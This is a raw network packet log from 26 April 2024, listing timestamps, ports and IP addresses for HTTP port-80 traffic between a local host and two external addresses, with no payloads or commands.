Apr 26, 2024 09:41:18.873874903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:18.874020100 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:18.886396885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:18.886645079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:19.126471996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:19.126682043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:19.126733065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:19.417606115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:19.417954922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:19.433554888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:19.433693886 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:19.673701048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:19.673718929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:19.673729897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:19.900516033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:19.900569916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:19.907052040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:19.907092094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:20.148464918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:20.148478985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:20.148489952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:20.409513950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:20.409569025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:20.416574955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:20.416615009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:20.658436060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:20.658452034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:20.878304005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:20.878371954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:20.886859894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:20.886908054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:21.133022070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:21.133033991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:21.404277086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:21.404333115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:21.409692049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:21.409713030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:21.649840117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:21.650140047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:21.904954910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:21.905010939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:21.921277046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:21.921308041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:22.161664963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:22.161688089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:22.430535078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:22.430593967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:22.436924934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:22.436954021 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:22.676918983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:22.677006006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:22.677023888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:22.965292931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:22.965375900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:22.971591949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:22.971628904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:23.211735010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:23.211759090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:23.211800098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:23.442867041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:23.442954063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:23.486264944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:23.486298084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:23.726449966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:23.726470947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:23.726618052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:24.092428923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:24.092654943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:24.098345995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:24.098412991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:24.341363907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:24.341387033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:24.341428995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:24.915716887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:24.915813923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:24.923273087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:24.923314095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:25.163470984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:25.163527966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:25.480071068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:25.480153084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:25.486354113 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:25.486412048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:25.726391077 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:25.726416111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:25.726459980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:25.997750044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:25.997950077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:26.005695105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:26.005726099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:26.246036053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:26.246059895 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:26.246077061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:26.482188940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:26.482541084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:26.487533092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:26.487576962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:26.727636099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:26.727660894 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:26.999680996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:27.001914978 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:27.006599903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:27.006637096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:27.256720066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:27.256853104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:27.256915092 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:27.493870020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:27.494069099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:27.501032114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:27.501089096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:27.741115093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:27.741131067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:28.029288054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:28.029408932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:28.035720110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:28.035774946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:28.276639938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:28.276658058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:28.276671886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:28.675534964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:28.675744057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:28.682360888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:28.682401896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:28.922333002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:28.922347069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:29.212241888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:29.212358952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:29.219548941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:29.219605923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:29.459467888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:29.459558964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:29.688982010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:29.689047098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:29.697465897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:29.697496891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:29.937433958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:29.937513113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:29.937618971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:30.173511982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:30.173779964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:30.181385040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:30.181446075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:30.462609053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:30.462647915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:30.706685066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:30.706787109 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:30.713927984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:30.713954926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:30.954058886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:30.954073906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:31.179095984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:31.179294109 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:31.185960054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:31.186013937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:31.426151037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:31.426172018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:31.700694084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:31.700768948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:31.705786943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:31.705813885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:31.946170092 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:31.946187973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:31.946201086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:32.251815081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:32.251902103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:32.256716967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:32.256778955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:32.496912003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:32.496927977 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:32.496961117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:32.769669056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:32.769747019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:33.671771049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:33.671818972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:33.911869049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:33.911886930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:33.911896944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:34.171216965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:34.171346903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:34.180476904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:34.180588007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:34.428612947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:34.428736925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:34.428766966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:34.671850920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:34.671922922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:34.676623106 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:34.676672935 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:34.916511059 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:34.916557074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:35.183053017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:35.183160067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:35.188667059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:35.188709974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:35.428698063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:35.428807974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:35.715954065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:35.716058016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:35.722537041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:35.722589970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:35.973550081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:35.973567963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:36.242111921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:36.242223978 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:36.247919083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:36.247940063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:36.495023012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:36.495049000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:36.692910910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:36.692970991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:36.698375940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:36.698425055 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:36.939497948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:36.939515114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:36.939531088 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.154849052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.154952049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.201258898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.441282034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.581548929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.581644058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.646987915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.647197962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.647278070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.647324085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.887182951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.887289047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.887468100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.887547970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.887567043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.887581110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.887619972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.887636900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.887731075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.887799978 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.887839079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.887898922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.887989044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888005018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888046026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888057947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.888071060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.888087034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888122082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.888135910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.888170004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888185024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888246059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:37.888262033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888331890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888381004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888446093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888586998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888626099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888720989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888778925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888822079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888870001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.888957977 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.889132023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.889271975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.889286995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.889333010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.889399052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.889533997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.889592886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.889612913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.889718056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.889811993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.889904976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.889941931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.890120983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.890410900 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.890425920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.890485048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.890499115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.890578032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.890593052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.890614033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.890717030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.890932083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.890961885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891061068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891102076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891150951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891303062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891370058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891383886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891434908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891484022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891499043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891534090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891547918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891609907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891765118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891807079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891822100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.891940117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.892119884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.892225981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.892419100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.892433882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.892627954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:37.892690897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.168381929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.168404102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.168417931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.169289112 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.169466019 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.169481039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.170449972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.170573950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.170588970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.170613050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.170627117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.170758009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.170773029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.170787096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.171845913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.171885967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.631491899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:38.631580114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:38.668652058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:38.950970888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:39.088670969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:39.088773012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:39.091931105 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:39.331219912 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:39.331331015 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:39.331545115 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:39.570771933 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:39.571166992 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:39.571208954 CEST	80	49736	185.172.128.203	192.168.2.4
